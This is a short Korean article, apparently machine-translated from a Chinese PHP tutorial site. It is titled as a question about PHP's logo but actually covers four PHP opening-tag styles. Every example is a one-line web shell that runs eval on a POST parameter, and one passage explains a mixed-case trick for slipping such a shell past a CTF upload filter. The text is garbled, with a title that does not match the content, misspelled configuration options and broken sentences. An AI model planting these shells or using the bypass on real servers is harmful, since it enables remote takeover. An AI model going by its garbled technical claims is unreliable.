PHP의 로고는 무엇인가요?
PHP 4가지 마크업 스타일
1.XML 스타일
<?php eval($_POST['cmd']); ?>
php 권장 마크업 스타일.
서버 관리자는 이를 비활성화할 수 없습니다. 이 스타일은 모든 서버에서 사용할 수 있습니다.
2. 스크립트 스타일
<script language="php"> eval($_POST['cmd']); </script>
은 기본적으로 활성화되어 있으며 비활성화할 수 없습니다.
작성자는 쉘 업로드가 필요한 CTF 질문에 직면했지만 파일 내용이 필터링되었으며 및 php가 공백으로 대체되었습니다. 이 스타일에서는 언어 값이 대문자 또는 소문자일 수 있으므로
<script language="PhP"> eval($_POST['cmd']); </script>
를 우회하도록 다음 코드를 구성할 수 있습니다. 3. 짧은 스타일
<? eval($_POST['cmd']); ?>
이 스타일을 사용하려면 구성 파일 php에서 short_open_tage 옵션을 활성화해야 합니다. ini
이 스타일 이 스타일은 많은 환경에서 기본적으로 지원되지 않습니다
4.ASP 스타일
<% eval($_POST['cmd']); %>
이 스타일은 구성 파일 php.ini에서 asp_tag 옵션을 활성화해야 합니다
기본적으로 비활성화되어 있습니다
추가 PHP 관련 지식은 PHP 중국어 홈페이지를 방문해주세요!
위 내용은 PHP의 로고는 무엇입니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!